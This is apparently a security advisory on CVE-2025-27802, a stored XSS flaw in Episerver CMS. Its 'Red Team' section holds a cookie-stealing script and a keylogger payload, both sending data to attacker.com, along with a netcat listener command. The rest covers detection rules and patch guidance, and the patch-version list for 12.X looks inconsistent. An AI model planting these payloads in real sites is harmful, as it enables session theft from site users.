CVE-2025-27802

Executive Summary

CVE-2025-27802 is a Stored Cross-Site Scripting (XSS) vulnerability affecting Optimizely’s Episerver Content Management System (CMS). An authenticated attacker with at least the “WebEditor” role can inject arbitrary JavaScript into Rich Text Editor (RTE) properties. When a victim (e.g., an administrator or content approver) previews the affected page, the malicious script executes in their browser context. This can lead to session hijacking, data exfiltration, or further privilege escalation within the CMS.

The vulnerability exists in two version lines: 11.X and 12.X, with specific package version thresholds. No public proof-of-concept (PoC) or exploit code has been released as of this report. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk increases as details become public.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the proprietary Episerver CMS NuGet packages (EPiServer.CMS.Core and EPiServer.CMS.UI). Organizations using these packages should verify their NuGet package versions and apply the vendor-provided patches.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Base Score: 5.4 (Medium)

• Attack Vector (AV): Network – The attacker can exploit the vulnerability over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – The attacker needs a valid “WebEditor” account.
• User Interaction (UI): Required – The victim must preview the malicious page.
• Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component (e.g., the victim’s browser session).
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the authenticated requirement and user interaction reduce immediate risk. However, in a CMS environment where editors have broad access, the impact can be significant.

Deep Dive & Mechanics

The vulnerability resides in the Rich Text Editor (RTE) properties within the Episerver CMS “Edit” section. These properties are designed to accept formatted text but fail to properly sanitize user input. An attacker with the “WebEditor” role can insert arbitrary HTML/JavaScript into an RTE field. When a user (e.g., an administrator or content reviewer) navigates to the preview of that page, the injected script executes in the context of the victim’s session.

Root Cause: Insufficient input validation and output encoding in the RTE property handling. The CMS does not strip or escape JavaScript event handlers or <script> tags before rendering the content in preview mode.

Attack Flow:

1. Attacker logs in as a WebEditor.
2. Attacker creates or edits a page and inserts malicious JavaScript into an RTE field (e.g., <script>alert('XSS')</script>).
3. Attacker saves the page and sends a preview link to a victim (or waits for an administrator to review).
4. Victim opens the preview page; the script executes in their browser.
5. Attacker can steal cookies, perform actions on behalf of the victim, or escalate privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In a vulnerable version, RTE content is rendered without sanitization
public IActionResult PreviewPage(int pageId)
{
    var page = _contentRepository.Get<PageData>(pageId);
    // Directly rendering RTE content without encoding
    return Content(page["MainBody"].ToString(), "text/html");
}

Patched Code (Conceptual):

// In the patched version, output is encoded
public IActionResult PreviewPage(int pageId)
{
    var page = _contentRepository.Get<PageData>(pageId);
    var sanitizedContent = HtmlSanitizer.Sanitize(page["MainBody"].ToString());
    return Content(sanitizedContent, "text/html");
}

The patch introduces proper HTML sanitization (e.g., using a library like HtmlSanitizer) to strip or encode malicious scripts before rendering.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A vulnerable Episerver CMS instance (e.g., version 11.20.0 with UI 11.36.0).
• A valid “WebEditor” account.

Steps:

1. Log in to the CMS as a WebEditor.
2. Navigate to a page with an RTE property (e.g., “MainBody”).
3. Insert the following payload into the RTE field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the page.
5. Obtain the preview URL (e.g., /EPiServer/CMS/Preview/123).
6. Send the URL to a victim (e.g., an administrator).
7. When the victim opens the URL, the script executes and sends their cookies to the attacker’s server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor CMS logs for unusual RTE content submissions (e.g., presence of <script> tags).
2. Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to CMS endpoints.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Regularly scan CMS pages for stored XSS using automated tools.

Lab Setup for Testing:

• Deploy a vulnerable Episerver CMS instance in an isolated environment.
• Use a browser with developer tools to inspect network traffic.
• Set up a listener (e.g., nc -lvnp 80) to capture exfiltrated data.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to unknown domains containing ?cookie= or ?key= parameters.
• Suspicious POST requests to CMS endpoints with payloads containing <script> tags.

Host IOCs:

• CMS database entries in RTE fields containing JavaScript code (e.g., <script>, onerror, onload).
• Unusual page preview requests from non-admin users.

Log IOCs:

• CMS audit logs showing repeated edits to RTE fields by the same user.
• Web server logs with %3Cscript%3E (URL-encoded <script>) in request bodies.

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_Episerver_RTE {
    meta:
        description = "Detects stored XSS payloads in Episerver CMS RTE fields"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-27802"
    strings:
        $script_tag = /<script[\s>]/ nocase
        $event_handler = /on\w+\s*=/ nocase
        $javascript_protocol = /javascript\s*:/ nocase
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Episerver CMS RTE Fields
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in Episerver CMS RTE fields via web logs
author: Valters IT
date: 2025-03-01
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in CMS content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27802 Stored XSS in Episerver CMS RTE"; flow:to_server,established; content:"POST"; http_method; content:"/EPiServer/CMS/"; http_uri; pcre:"/<script[\s>]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade EPiServer.CMS.Core and EPiServer.CMS.UI to the patched versions:
   • For 11.X: Core >=11.21.4, UI >=11.37.5
   • For 12.X: Core >=12.22.1, UI >=11.37.3
2. If immediate patching is not possible, restrict “WebEditor” role permissions to trusted users only.
3. Implement a Web Application Firewall (WAF) rule to block <script> tags in POST requests to CMS endpoints.

Long-term Mitigations:

• Enforce Content Security Policy (CSP) headers with script-src 'self'.
• Conduct regular security audits of CMS customizations.
• Train content editors on safe input practices.
• Monitor for unusual activity in CMS audit logs.

Workaround:

• Disable RTE fields for untrusted roles temporarily.
• Use a reverse proxy to sanitize HTML content before it reaches the CMS.

Valters IT